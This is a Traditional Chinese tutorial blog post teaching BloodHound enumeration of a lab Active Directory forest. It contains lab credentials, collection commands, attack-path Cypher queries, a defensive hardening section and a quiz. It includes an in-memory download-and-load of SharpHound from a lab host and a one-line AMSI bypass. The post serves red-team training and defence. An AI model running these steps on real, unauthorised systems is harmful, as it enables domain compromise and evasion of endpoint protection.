iT邦幫忙

2025 iThome 鐵人賽

DAY 5
0
Security

資安這條路:AD 攻防實戰演練系列 第 5

AD 攻防實戰演練 Day 5:BloodHound - 視覺化 AD 攻擊路徑

  • 分享至 

  • xImage
  •  

今天我們要學習 Active Directory 滲透測試的神兵利器:BloodHound。個工具可以讓我們看見所有事物的關聯,BloodHound 能幫我們看見整個網域的權限關係,找出通往 Domain Admin 的最短路徑。這是每個紅隊成員必須精通的工具!

今日學習目標

在完成今天的實作後,你將能夠:

  1. 理解 BloodHound 的運作原理
  2. 使用 Python 和 .NET 收集器收集網域資料
  3. 分析複雜的 AD 權限關係
  4. 撰寫 Cypher 查詢找出攻擊路徑
  5. 識別隱藏的權限提升機會

前置準備

在開始之前,確保已經完成:

  • 已取得的憑證:
    • samwell.tarly:Heartsbane
    • brandon.stark:iseedeadpeople
    • jon.snow:iknownothing
  • 環境網路連通性正常
  • /etc/hosts 檔案已設定

安裝 BloodHound 相關工具

# 更新 apt 工具
sudo apt update

image

# 安裝 BloodHound 和 Neo4j
sudo apt install bloodhound neo4j -y

image

image

python3 -m venv ~/bloodhound-env
source ~/bloodhound-env/bin/activate
# 安裝 Python 收集器
pip3 install bloodhound
# 或從 GitHub 安裝最新版
git clone https://github.com/fox-it/BloodHound.py
cd BloodHound.py
python3 setup.py install

# 下載 SharpHound(.NET 收集器)
wget https://github.com/BloodHoundAD/BloodHound/raw/master/Collectors/SharpHound.exe

##理解 BloodHound 架構

BloodHound 組件說明

image

1. 資料收集層(Ingestors)

  • SharpHound:Windows 環境下的主要收集器
  • AzureHound:Azure AD 環境的收集器
  • BloodHound.py:跨平台 Python 收集器
  • 從 Active Directory/Azure AD 收集資料

2. 資料庫層(Neo4j)

  • 使用 Neo4j 圖形資料庫儲存節點和關係
  • 支援 Cypher 查詢語言進行複雜查詢
  • 提供高效的圖形運算和路徑分析能力

3. 視覺化層(BloodHound GUI)

  • 提供直觀的攻擊路徑視覺化介面
  • 內建查詢建構器和預設查詢
  • 支援報告生成功能

資料流向從收集層的 JSON 格式資料上傳到 Neo4j 資料庫,再通過 Cypher 查詢語言與 GUI 互動,最終呈現視覺化的攻擊路徑分析結果。

組件 功能 運作環境 優缺點
BloodHound.py Python 資料收集器 Linux/Mac ✅ 跨平台 ❌ 功能較少
SharpHound .NET 資料收集器 Windows ✅ 功能完整 ❌ 需在目標上執行
Neo4j 圖形資料庫 伺服器端 儲存關係資料
BloodHound GUI 視覺化介面 客戶端 分析和查詢

資料收集方法對比

收集方法 Python 支援 .NET 支援 所需權限 隱密性
Default Domain User
All Domain User
DCOnly Domain User
Session Local Admin
LoggedOn Local Admin
GPO Domain User

Python 收集器 - 從 Linux 收集

收集單一網域資料

讓我們先從 north.sevenkingdoms.local 開始:

image

image


# 寫入 /etc/hosts 
echo "192.168.139.11    winterfell.north.sevenkingdoms.local winterfell" | sudo tee -a /etc/hosts

# 使用 brandon.stark 憑證收集 north 網域
bloodhound-python --zip -c All \
    -d north.sevenkingdoms.local \
    -u brandon.stark \
    -p iseedeadpeople \
    -dc winterfell.north.sevenkingdoms.local \
    -ns 192.168.139.11

參數說明:

  • --zip:將輸出打包成 ZIP 檔案
  • -c All:收集所有類型的資料
  • -d:目標網域
  • -u:使用者名稱
  • -p:密碼
  • -dc:Domain Controller IP 或主機名稱

預期輸出:

INFO: Getting TGT for user
INFO: Connecting to LDAP server: winterfell.north.sevenkingdoms.local
INFO: Found 1 domains
INFO: Found 2 domains in the forest
INFO: Found 2 computers
INFO: Connecting to GC LDAP server: winterfell.north.sevenkingdoms.local
INFO: Connecting to LDAP server: winterfell.north.sevenkingdoms.local
INFO: Found 17 users
INFO: Found 51 groups
INFO: Found 3 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 1 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: castelblack.north.sevenkingdoms.local
INFO: Querying computer: winterfell.north.sevenkingdoms.local
INFO: Done in 00M 01S
INFO: Compressing output into 20250919093122_bloodhound.zip

跨網域收集 - 信任關係的力量

# 新增 all domain controllers
echo "192.168.139.10    kingslanding.sevenkingdoms.local kingslanding" | sudo tee -a /etc/hosts
echo "192.168.139.11    winterfell.north.sevenkingdoms.local winterfell" | sudo tee -a /etc/hosts
echo "192.168.139.12    meereen.essos.local meereen" | sudo tee -a /etc/hosts

image

image

現在收集其他網域的資料:

# 收集 sevenkingdoms.local(父網域)
bloodhound-python --zip -c All \
    -d sevenkingdoms.local \
    -u brandon.stark@north.sevenkingdoms.local \
    -p iseedeadpeople \
    -dc kingslanding.sevenkingdoms.local \
    -ns 192.168.139.10

image

# 收集 essos.local(外部信任)
bloodhound.py --zip -c All \
    -d essos.local \
    -u brandon.stark@north.sevenkingdoms.local \
    -p iseedeadpeople \
    -dc meereen.essos.local

image

重要提示:注意使用者名稱格式變成 brandon.stark@north.sevenkingdoms.local,這是跨網域認證的關鍵!

Python 收集器的限制

Python 收集器不支援以下功能:

  • GPO(群組原則物件)相關資訊
  • 本機管理員群組成員
  • RDP 使用者
  • DCOM 使用者
  • PSRemote 使用者

這些資訊需要使用 .NET 收集器!

.NET 收集器 (SharpHound) - 從 Windows 收集

建立 RDP 連線

image

# 使用 xfreerdp 連線到 CASTELBLACK
sudo apt install freerdp3-x11


xfreerdp3 /v:192.168.139.22 /u:jon.snow /p:iknownothing /d:north /cert:ignore

image

# 或使用 rdesktop
rdesktop -u jon.snow -p iknownothing -d north 192.168.139.22

執行 SharpHound 收集

在 Windows 上開啟 PowerShell:

image

Invoke-WebRequest -Uri "https://github.com/BloodHoundAD/BloodHound/raw/master/Collectors/SharpHound.exe" -OutFile "SharpHound.exe"

image

# 收集 north.sevenkingdoms.local
.\sharphound.exe -d north.sevenkingdoms.local -c all `
    --zipfilename bh_north_sevenkingdoms.zip

image

# 收集 sevenkingdoms.local
.\sharphound.exe -d sevenkingdoms.local -c all `
    --zipfilename bh_sevenkingdoms.zip

image

# 收集 essos.local
.\sharphound.exe -d essos.local -c all `
    --zipfilename bh_essos.zip

記憶體執行技巧

如果想要完全在記憶體中執行,避免落地:

# 下載並載入到記憶體
$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.139.136/SharpHound.exe')
$assem = [System.Reflection.Assembly]::Load($data)

# 執行 SharpHound
[Sharphound.Program]::Main("-d north.sevenkingdoms.local -c all".Split())

注意:如果 Windows Defender 啟用,需要先繞過 AMSI:

# AMSI 繞過
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

啟動 BloodHound 分析

啟動 Neo4j 資料庫

# 啟動 neo4j
sudo neo4j console

# 首次登入時,訪問 http://localhost:7474
# 預設帳密:neo4j/neo4j
# 會要求更改密碼

image

image

啟動 BloodHound GUI

# 在另一個終端機啟動 BloodHound
bloodhound

# 登入資訊
# URL: bolt://localhost:7687
# Username: neo4j
# Password: <你設定的密碼>

image

記得要改密碼

cat /etc/bhapi/bhapi.json
sudo vim /etc/bhapi/bhapi.json

image

image

image

也要改密碼 admin/admin

image

匯入收集的資料

http://127.0.0.1:8080/ui/administration/file-ingest

image

image

  1. 點擊右上角的 "Upload Data"
  2. 選擇所有收集的 ZIP 檔案
  3. 等待資料處理完成

如果你遇到匯入失敗

# 停止 BloodHound CE
sudo pkill -f bhapi
sudo pkill -f bloodhound

# 停止 Neo4j
sudo neo4j stop
# 或
sudo pkill -f neo4j

# 下載 BloodHound Legacy
cd ~/Downloads
wget https://github.com/BloodHoundAD/BloodHound/releases/download/4.2.0/BloodHound-linux-x64.zip
unzip -o BloodHound-4.2.0-linux-x64.zip
cd BloodHound-linux-x64
chmod +x BloodHound
./BloodHound --no-sandbox --disable-gpu

image

sudo neo4j start

image

右邊可以上傳檔案
image

我最終用舊版才能使用

視覺化分析 - Cypher 查詢

基礎查詢

顯示所有網域和電腦:

MATCH p = (d:Domain)-[r:Contains*1..]->(n:Computer) 
RETURN p

image

顯示所有使用者:

MATCH p = (d:Domain)-[r:Contains*1..]->(n:User) 
RETURN p

image

網域、群組、使用者的整體關係:

MATCH q = (d:Domain)-[r:Contains*1..]->(n:Group)<-[s:MemberOf]-(u:User) 
RETURN q

image

進階查詢 - 尋找攻擊路徑

查看使用者 ACL 權限(排除系統帳號):

MATCH p=(u:User)-[r1]->(n) 
WHERE r1.isacl=true 
  AND NOT toLower(u.name) CONTAINS 'vagrant'
  AND NOT toLower(u.name) CONTAINS 'healthmailbox'
RETURN p

image

尋找到 Domain Admin 的最短路徑:

MATCH (n:User {name:"BRANDON.STARK@NORTH.SEVENKINGDOMS.LOCAL"}),
      (m:Group {name:"DOMAIN ADMINS@NORTH.SEVENKINGDOMS.LOCAL"}),
      p=shortestPath((n)-[*1..]->(m))
RETURN p

image

實用查詢集合

找出所有本地管理員:

MATCH p=(u:User)-[:AdminTo]->(c:Computer) 
RETURN p

image

找出可以 RDP 的使用者:

MATCH p=(u:User)-[:CanRDP]->(c:Computer) 
RETURN p

找出可以執行 DCSync 的使用者:

MATCH p=(:User)-[:DCSync|AllExtendedRights|GenericAll]->(:Domain) 
RETURN p

image

找出具有危險權限的使用者:

MATCH p=(u:User)-[r:Owns|WriteDacl|GenericAll|WriteOwner|ExecuteDCOM|GenericWrite|AllowedToDelegate|ForceChangePassword]->(n:Computer) 
RETURN p

image

防禦者視角 - 使用 BloodHound 加強環境

清理不必要的權限

# 移除不必要的本地管理員
Remove-LocalGroupMember -Group "Administrators" `
    -Member "NORTH\jon.snow"

# 移除危險的 ACL
Remove-ADPermission -Identity "CN=sql_svc,CN=Users,DC=north,DC=sevenkingdoms,DC=local" `
    -User "NORTH\jon.snow" -AccessRights GenericAll

監控 SharpHound 活動

監控以下行為:

  • 大量 LDAP 查詢(Event ID 1644)
  • 異常的 SAM 遠端呼叫
  • NetSessionEnum API 呼叫
  • 短時間內查詢多個 SPN

BloodHound 分析報告 - AD 環境安全評估

根據 BloodHound 收集的資料,以下是對目標 Active Directory 環境的完整分析報告。

一、環境概況

網域架構:

  • 主網域:SEVENKINGDOMS.LOCAL (功能層級 2016)
  • 子網域:NORTH.SEVENKINGDOMS.LOCAL (功能層級 2016)
  • 外部信任網域:ESSOS.LOCAL (功能層級 2016)
  • 節點總數:314 個(使用者 49 個、電腦及容器 264 個)

Domain Admin 分布:

  • ESSOS.LOCAL:3 個 (DAENERYS.TARGARYEN、DROGON、ADMINISTRATOR)
  • SEVENKINGDOMS.LOCAL:3 個 (CERSEI.LANNISTER、ROBERT.BARATHEON、ADMINISTRATOR)
  • NORTH.SEVENKINGDOMS.LOCAL:2 個 (EDDARD.STARK、ADMINISTRATOR)

二、高風險發現

1. DCSync 攻擊向量

嚴重性:極高

發現 10 個使用者擁有 DCSync 權限,可直接複製網域控制站的密碼雜湊:

  • 跨網域 DCSync:ADMINISTRATOR@SEVENKINGDOMS.LOCAL 可對子網域執行 DCSync
  • 這表示攻擊者一旦取得這些帳號,可立即獲得整個網域的控制權

2. Kerberoasting 攻擊面

嚴重性:高

識別出 8 個設定 SPN 的帳號可被 Kerberoasting 攻擊:

  • SQL_SVC@ESSOS.LOCAL - SQL 服務帳號通常使用弱密碼
  • JON.SNOW@NORTH.SEVENKINGDOMS.LOCAL - 一般使用者帳號設定 SPN 極不尋常
  • SANSA.STARK@NORTH.SEVENKINGDOMS.LOCAL - HTTP 服務可能暴露敏感資訊

建議立即檢查這些帳號的密碼強度。

3. ASREPRoasting 弱點

嚴重性:中

發現 2 個帳號未要求 Kerberos 預先驗證:

  • MISSANDEI@ESSOS.LOCAL
  • BRANDON.STARK@NORTH.SEVENKINGDOMS.LOCAL

攻擊者無需任何憑證即可請求這些帳號的加密票證進行離線破解。

三、權限提升路徑分析

關鍵發現:Brandon Stark 攻擊鏈

  • 起點:BRANDON.STARK@NORTH.SEVENKINGDOMS.LOCAL (ASREPRoastable)
  • 終點:Domain Admin
  • 路徑長度:6 步
  • 風險評估:該使用者為 ASREPRoastable,一旦密碼被破解,攻擊者僅需 6 步即可提升至 Domain Admin

危險 ACL 配置

GenericAll 權限濫用:

  • STANNIS.BARATHEONKINGSLANDING.SEVENKINGDOMS.LOCAL 擁有完全控制權
  • LORD.VARYS 對 AdminSDHolder 容器擁有 GenericAll(影響所有特權群組)
  • MISSANDEIKHAL.DROGO 形成權限鏈,可能導致橫向移動

特殊權限:

  • JON.SNOW 擁有 AllowedToDelegate 權限,可執行委派攻擊
  • 多個使用者擁有 ReadLAPSPassword 權限,可讀取本機管理員密碼

四、安全建議

立即行動項目

  1. 密碼政策強化

    • 立即重設所有 Kerberoastable 帳號密碼(使用 25 字元以上隨機密碼)
    • 為 ASREPRoastable 帳號啟用 Kerberos 預先驗證
  2. 權限最小化

    • 移除不必要的 DCSync 權限
    • 檢視並清理 GenericAll、GenericWrite 等危險權限
    • 限制 AdminSDHolder 的修改權限
  3. 服務帳號管理

    • 將 SQL_SVC 轉換為群組受管理服務帳號(gMSA)
    • 移除一般使用者帳號的 SPN 設定

中期改善措施

  1. 實施分層管理模型

    • 建立管理層級分離(Tier 0/1/2)
    • 禁止跨層級的權限授予
  2. 監控與稽核

    • 部署 DCSync 偵測機制
    • 監控 Kerberos 票證異常請求
    • 定期執行 BloodHound 掃描
  3. 信任關係檢視

    • 評估 ESSOS.LOCAL 外部信任的必要性
    • 實施選擇性驗證(Selective Authentication)

五、攻擊模擬建議

基於分析結果,建議進行以下攻擊模擬以驗證風險:

  1. ASREPRoast 攻擊:針對 Brandon Stark 進行密碼破解
  2. Kerberoasting:測試 SQL_SVC 密碼強度
  3. ACL 濫用:驗證 Lord Varys 到 Domain Admin 的提權路徑
  4. 委派攻擊:利用 Jon Snow 的委派權限進行橫向移動

六、結論

目前的 AD 環境存在多個高風險配置,特別是過度的 DCSync 權限和易受攻擊的服務帳號。建議立即執行上述安全加固措施,並建立持續的 AD 安全監控機制。

最關鍵的發現是 Brandon Stark 的攻擊路徑,該帳號同時具備 ASREPRoastable 弱點且距離 Domain Admin 僅 6 步,應列為最高優先處理項目。

實用 Cypher 查詢速查

-- 快速查詢
-- 所有 Domain Admins
MATCH (g:Group) WHERE g.name =~ ".*DOMAIN ADMINS.*" RETURN g

-- 最短攻擊路徑
MATCH p=shortestPath((u:User {name:"<USER>"})-[*1..]->(g:Group {name:"DOMAIN ADMINS@<DOMAIN>"})) RETURN p

-- 所有具有 DCSync 權限的主體
MATCH p=(n)-[:DCSync|GetChanges|GetChangesAll]->(:Domain) RETURN p

-- 找出所有電腦的本地管理員
MATCH p=(u:User)-[:AdminTo]->(c:Computer) RETURN u.name, COLLECT(c.name)

-- 跨網域攻擊路徑
MATCH p=(u:User)-[*1..]->(g:Group) WHERE u.domain<>g.domain RETURN p

課後思考

  1. 為什麼 BloodHound 比傳統掃描工具更強大?

    • 提示:關係分析、攻擊鏈、視覺化
  2. 如何防止 BloodHound 收集?

    • 提示:LDAP 查詢限制、蜜罐帳號、行為監控
  3. BloodHound 資料的時效性問題?

    • 提示:Session 資料、動態群組成員、密碼變更

測驗題目

Q1. BloodHound 使用什麼類型的資料庫來儲存 AD 關係?

A. MySQL 關聯式資料庫
B. MongoDB 文件資料庫
C. Neo4j 圖形資料庫
D. PostgreSQL 關聯式資料庫

答案:C
解析:BloodHound 使用 Neo4j 圖形資料庫,因為它最適合儲存和查詢複雜的關係資料。圖形資料庫能夠高效地處理節點(使用者、電腦、群組)之間的關係(成員、權限、信任)。

Q2. SharpHound 相比 BloodHound.py 的主要優勢是什麼?

A. 執行速度更快
B. 支援 GPO 和本地群組資訊收集
C. 可以在 Linux 上執行
D. 不需要網域憑證

答案:B
解析:SharpHound(.NET 收集器)支援完整的收集方法,包括 GPO、本地管理員群組、Session 等資訊,而 Python 收集器不支援這些功能。這是因為某些 Windows API 只能從 Windows 系統呼叫。

Q3. 下列哪個 Cypher 查詢可以找出所有 Kerberoastable 的使用者?

A. MATCH (u:User) WHERE u.enabled=true RETURN u
B. MATCH (u:User) WHERE u.hasspn=true RETURN u
C. MATCH (u:User) WHERE u.admincount=1 RETURN u
D. MATCH (u:User) WHERE u.passwordnotreqd=true RETURN u

答案:B
解析hasspn=true 屬性表示使用者帳號設定了 Service Principal Name (SPN),這是執行 Kerberoasting 的必要條件。其他選項分別表示:啟用的帳號、管理員帳號、不需要密碼的帳號。

Q4. 在 BloodHound 中,哪種邊(Edge)關係表示可以重設密碼?

A. CanRDP
B. ForceChangePassword
C. WriteDacl
D. GenericAll

答案:B
解析ForceChangePassword 明確表示有權限強制變更目標的密碼。雖然 GenericAll 也包含此權限(因為是完全控制),但 ForceChangePassword 是最直接對應的邊關係。

Q5. 執行 bloodhound.py -c All 時,哪項資訊無法收集?

A. 網域使用者和群組
B. 網域信任關係
C. 電腦物件
D. 本地管理員群組成員

答案:D
解析:Python 收集器的限制之一是無法收集本地管理員群組成員資訊,這需要查詢每台電腦的本地 SAM 資料庫,必須使用 SharpHound 在 Windows 上執行才能取得。


延伸閱讀


上一篇
AD 攻防實戰演練 Day 4: Kerberoasting 實戰 - 服務帳號密碼獵取
系列文
資安這條路:AD 攻防實戰演練5
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言